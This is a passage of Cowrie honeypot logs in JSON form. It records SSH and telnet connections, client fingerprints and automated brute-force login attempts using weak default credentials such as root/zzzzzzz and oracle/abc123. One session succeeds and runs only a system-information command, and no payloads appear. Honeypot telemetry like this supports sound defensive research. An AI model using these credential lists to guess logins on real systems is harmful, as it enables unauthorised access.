16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:27.727823Z","src_ip":"193.228.128.84","session":"65b1910b4489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:28.025328Z","src_ip":"43.153.7.148","session":"2465611f9c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzzzzzz","message":"login attempt [root/zzzzzzz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:28.035936Z","src_ip":"193.228.128.84","session":"65b1910b4489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.890950441360474,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:29.094115Z","src_ip":"192.119.13.58","session":"7756b75935d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:29.141200Z","src_ip":"193.228.128.84","session":"65b1910b4489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.83670783042908,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:35.374460Z","src_ip":"192.119.13.58","session":"3b8e529fd60c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50798,"dst_ip":"10.17.0.5","dst_port":22,"session":"de38cc175fd0","protocol":"ssh","message":"New connection: 152.42.212.128:50798 (10.17.0.5:22) [session: de38cc175fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:36.762305Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:36.767460Z","src_ip":"152.42.212.128","session":"de38cc175fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:36.771414Z","src_ip":"152.42.212.128","session":"de38cc175fd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":48113,"dst_ip":"159.203.135.109","dst_port":22,"session":"87383f0d26c0","protocol":"ssh","message":"New connection: 103.24.63.85:48113 (159.203.135.109:22) [session: 87383f0d26c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:39.381800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:39.386899Z","src_ip":"103.24.63.85","session":"87383f0d26c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52002,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d15ecc698b","protocol":"telnet","message":"New connection: 192.119.13.58:52002 (10.17.0.5:23) [session: 27d15ecc698b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:39.575571Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:39.587851Z","src_ip":"103.24.63.85","session":"87383f0d26c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:40.645132Z","src_ip":"103.24.63.85","session":"87383f0d26c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:41.853398Z","src_ip":"103.24.63.85","session":"87383f0d26c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.73368763923645,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:42.309146Z","src_ip":"192.119.13.58","session":"27d15ecc698b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43636,"dst_ip":"10.17.0.5","dst_port":23,"session":"7273cc15851b","protocol":"telnet","message":"New connection: 192.119.13.58:43636 (10.17.0.5:23) [session: 7273cc15851b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:51.718382Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39778,"dst_ip":"10.17.0.5","dst_port":23,"session":"59933886295e","protocol":"telnet","message":"New connection: 192.119.13.58:39778 (10.17.0.5:23) [session: 59933886295e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:51.827188Z"}
{"eventid":"cowrie.session.closed","duration":37.27316451072693,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:53.299243Z","src_ip":"192.119.13.58","session":"f8c350cc848c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":83.91219973564148,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:53.344043Z","src_ip":"186.195.16.41","session":"19fb4d05f06d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":52622,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d3b8166d819","protocol":"ssh","message":"New connection: 103.24.63.85:52622 (159.203.135.109:22) [session: 8d3b8166d819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:54.734329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:54.796938Z","src_ip":"103.24.63.85","session":"8d3b8166d819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.291807889938354,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:54.957125Z","src_ip":"192.119.13.58","session":"35d209f7cf48","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:54.974238Z","src_ip":"103.24.63.85","session":"8d3b8166d819","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:55.754951Z","src_ip":"103.24.63.85","session":"8d3b8166d819","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:56.208434Z","src_ip":"103.24.63.85","session":"8d3b8166d819","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:56.212234Z","src_ip":"103.24.63.85","session":"8d3b8166d819","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:56.418358Z","src_ip":"103.24.63.85","session":"8d3b8166d819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:56.423721Z","src_ip":"103.24.63.85","session":"8d3b8166d819","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35732,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccd13301c7e0","protocol":"telnet","message":"New connection: 192.119.13.58:35732 (10.17.0.5:23) [session: ccd13301c7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:56.645612Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38534,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b24176c2310","protocol":"telnet","message":"New connection: 192.119.13.58:38534 (10.17.0.5:23) [session: 4b24176c2310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:34:57.373867Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59180,"dst_ip":"10.17.0.5","dst_port":23,"session":"7de3bf16dfe0","protocol":"telnet","message":"New connection: 192.119.13.58:59180 (10.17.0.5:23) [session: 7de3bf16dfe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:02.683591Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":40789,"dst_ip":"159.203.135.109","dst_port":22,"session":"971c8393d635","protocol":"ssh","message":"New connection: 14.224.227.189:40789 (159.203.135.109:22) [session: 971c8393d635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:03.607987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:03.632370Z","src_ip":"14.224.227.189","session":"971c8393d635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:03.881155Z","src_ip":"14.224.227.189","session":"971c8393d635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"12345678","message":"login attempt [botuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:04.874418Z","src_ip":"14.224.227.189","session":"971c8393d635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":36346,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1e9043b7d87","protocol":"ssh","message":"New connection: 43.153.7.148:36346 (159.203.135.109:22) [session: d1e9043b7d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:04.992047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:04.997484Z","src_ip":"43.153.7.148","session":"d1e9043b7d87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:05.073859Z","src_ip":"43.153.7.148","session":"d1e9043b7d87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gns3","message":"login attempt [root/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:05.398700Z","src_ip":"43.153.7.148","session":"d1e9043b7d87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":38237,"dst_ip":"159.203.135.109","dst_port":22,"session":"a51e4bae1139","protocol":"ssh","message":"New connection: 2.57.121.25:38237 (159.203.135.109:22) [session: a51e4bae1139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:05.791330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:05.797126Z","src_ip":"2.57.121.25","session":"a51e4bae1139","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:05.898759Z","src_ip":"2.57.121.25","session":"a51e4bae1139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:06.119211Z","src_ip":"14.224.227.189","session":"971c8393d635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"112200","message":"login attempt [user/112200] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:06.377864Z","src_ip":"2.57.121.25","session":"a51e4bae1139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:06.473119Z","src_ip":"43.153.7.148","session":"d1e9043b7d87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111666","message":"login attempt [user/111666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:07.495018Z","src_ip":"2.57.121.25","session":"a51e4bae1139","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111187","message":"login attempt [user/111187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:08.599547Z","src_ip":"2.57.121.25","session":"a51e4bae1139","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":1948,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac8d0fd7cfd0","protocol":"ssh","message":"New connection: 103.24.63.85:1948 (159.203.135.109:22) [session: ac8d0fd7cfd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:09.438280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:09.445214Z","src_ip":"103.24.63.85","session":"ac8d0fd7cfd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:09.640584Z","src_ip":"103.24.63.85","session":"ac8d0fd7cfd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111183","message":"login attempt [user/111183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:09.705014Z","src_ip":"2.57.121.25","session":"a51e4bae1139","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:10.227349Z","src_ip":"103.24.63.85","session":"ac8d0fd7cfd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11111975","message":"login attempt [user/11111975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:10.809931Z","src_ip":"2.57.121.25","session":"a51e4bae1139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:35:11.424970Z","src_ip":"103.24.63.85","session":"ac8d0fd7cfd0","protocol":"ssh"}
